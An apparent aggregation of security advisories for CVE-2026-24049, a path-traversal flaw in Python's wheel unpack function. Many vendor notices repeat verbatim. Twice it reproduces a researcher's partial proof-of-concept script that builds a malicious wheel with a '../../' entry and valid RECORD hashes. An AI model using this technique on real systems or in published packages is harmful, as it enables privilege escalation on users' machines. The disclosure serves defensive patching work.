CVE-2026-24049

wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.

wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.

Summary

• Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
• Root Cause Component: wheel.cli.unpack.unpack function.
• Affected Packages:
  1. wheel (Upstream source)
  2. setuptools (Downstream, vendors wheel)
• Severity: High (Allows modifying system file permissions).

Details

The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.

# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
    wf.extract(zinfo, destination)  # (1) Extraction is handled safely by zipfile

    # (2) VULNERABILITY:
    # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
    # If zinfo.filename contains "../", this targets files outside the destination.
    permissions = zinfo.external_attr >> 16 & 0o777
    destination.joinpath(zinfo.filename).chmod(permissions)

PoC

I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.

Prerequisites: pip install setuptools

Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.

import zipfile
import hashlib
import base64
import os

def urlsafe_b64encode(data):
    """
    Helper function to encode data using URL-safe Base64 without padding.
    Required by the Wheel file format specification.
    """
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')

def get_hash_and_size(data_bytes):
    """
    Calculates SHA-256 hash and size of the data.
    These values are required to construct a valid 'RECORD' file,
    which is used by the 'wheel' library to verify integrity.
    """
    digest = hashlib.sha256(data_bytes).digest()
    hash_str = "sha256=" + urlsafe_b64encode(digest)
    return hash_str, str(len(data_bytes))

def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
    print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")

    # 1. Prepare Standard Metadata Content
    # These are minimal required contents to make the wheel look legitimate.
    wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
    metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
   
    # 2. Define Malicious Payload (Path Traversal)
    # The content doesn't matter, but the path does.
    payload_content = b"PWNED by Path Traversal"

    # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
    # The vulnerability allows 'chmod' to affect this path directly.
    malicious_path = "../../poc_target.txt"

    # 3. Calculate Hashes for Integrity Check Bypass
    # The 'wheel' library verifies if the file hash matches the RECORD entry.
    # To bypass this check, we calculate the correct hash for our malicious file.
    wheel_hash, wheel_size = get_hash_and_size(wheel_content)
    metadata_hash, metadata_size = get_hash_and_size(metadata_content)
    payload_hash, payload_size = get_hash_and_size(payload_content)

    # 4. Construct the 'RECORD' File
    # The RECORD file lists all files in the wheel with their hashes.
    # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
    # This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
    record_lines = [
        f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
        f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
        f"{malicious_path},{payload_hash},{payload_size}",  # <-- Authenticating the malicious path
       …

A built-package format for Python. A wheel is a ZIP-format archive with a specially formatted filename and the .whl extension. It is designed to contain all the files for a PEP 376 compatible install in a way that is very close to the on-disk format.

Security Fix(es):

wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.(CVE-2026-24049)

A built-package format for Python. A wheel is a ZIP-format archive with a specially formatted filename and the .whl extension. It is designed to contain all the files for a PEP 376 compatible install in a way that is very close to the on-disk format.

Security Fix(es):

wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.(CVE-2026-24049)

A built-package format for Python. A wheel is a ZIP-format archive with a specially formatted filename and the .whl extension. It is designed to contain all the files for a PEP 376 compatible install in a way that is very close to the on-disk format.

Security Fix(es):

wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.(CVE-2026-24049)

A built-package format for Python. A wheel is a ZIP-format archive with a specially formatted filename and the .whl extension. It is designed to contain all the files for a PEP 376 compatible install in a way that is very close to the on-disk format.

Security Fix(es):

wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.(CVE-2026-24049)

Summary

• Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
• Root Cause Component: wheel.cli.unpack.unpack function.
• Affected Packages:
  1. wheel (Upstream source)
  2. setuptools (Downstream, vendors wheel)
• Severity: High (Allows modifying system file permissions).

Details

The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.

# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
    wf.extract(zinfo, destination)  # (1) Extraction is handled safely by zipfile

    # (2) VULNERABILITY:
    # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
    # If zinfo.filename contains "../", this targets files outside the destination.
    permissions = zinfo.external_attr >> 16 & 0o777
    destination.joinpath(zinfo.filename).chmod(permissions)

PoC

I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.

Prerequisites: pip install setuptools

Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.

import zipfile
import hashlib
import base64
import os

def urlsafe_b64encode(data):
    """
    Helper function to encode data using URL-safe Base64 without padding.
    Required by the Wheel file format specification.
    """
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')

def get_hash_and_size(data_bytes):
    """
    Calculates SHA-256 hash and size of the data.
    These values are required to construct a valid 'RECORD' file,
    which is used by the 'wheel' library to verify integrity.
    """
    digest = hashlib.sha256(data_bytes).digest()
    hash_str = "sha256=" + urlsafe_b64encode(digest)
    return hash_str, str(len(data_bytes))

def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
    print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")

    # 1. Prepare Standard Metadata Content
    # These are minimal required contents to make the wheel look legitimate.
    wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
    metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
   
    # 2. Define Malicious Payload (Path Traversal)
    # The content doesn't matter, but the path does.
    payload_content = b"PWNED by Path Traversal"

    # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
    # The vulnerability allows 'chmod' to affect this path directly.
    malicious_path = "../../poc_target.txt"

    # 3. Calculate Hashes for Integrity Check Bypass
    # The 'wheel' library verifies if the file hash matches the RECORD entry.
    # To bypass this check, we calculate the correct hash for our malicious file.
    wheel_hash, wheel_size = get_hash_and_size(wheel_content)
    metadata_hash, metadata_size = get_hash_and_size(metadata_content)
    payload_hash, payload_size = get_hash_and_size(payload_content)

    # 4. Construct the 'RECORD' File
    # The RECORD file lists all files in the wheel with their hashes.
    # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
    # This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
    record_lines = [
        f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
        f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
        f"{malicious_path},{payload_hash},{payload_size}",  # <-- Authenticating the malicious path
       …

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

• wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking (CVE-2026-24049)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

• wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking (CVE-2026-24049)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

• wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking (CVE-2026-24049)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Root has patched CVE-2026-24049 in the setuptools package for Root:PyPI. Multiple fixed versions available.

wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

• wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking (CVE-2026-24049)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

• wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking (CVE-2026-24049)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

• wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking (CVE-2026-24049)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.

wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.

wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.

These are all security issues fixed in the python311-wheel-0.46.3-1.1 package on the GA media of openSUSE Tumbleweed.

This update for python-wheel fixes the following issues:

• CVE-2026-24049: Fixed absent path sanitization can cause arbitrary file permission modification (bsc#1257100).

This update for python-wheel fixes the following issues:

• CVE-2026-24049: Fixed absent path sanitization can cause arbitrary file permission modification (bsc#1257100).

This update for python313-wheel fixes the following issues:

• CVE-2026-24049: Fixed absent path sanitization can cause arbitrary file permission modification (bsc#1257100).

This update for python-wheel fixes the following issues:

• CVE-2026-24049: Fixed absent path sanitization can cause arbitrary file permission modification (bsc#1257100).

This update for python-wheel fixes the following issues:

• CVE-2026-24049: Fixed absent path sanitization can cause arbitrary file permission modification (bsc#1257100).

It was discovered that wheel did not correctly handle certain file paths. If a user or automated system were tricked into opening a specially crafted file, an attacker could possibly use this issue to execute arbitrary code.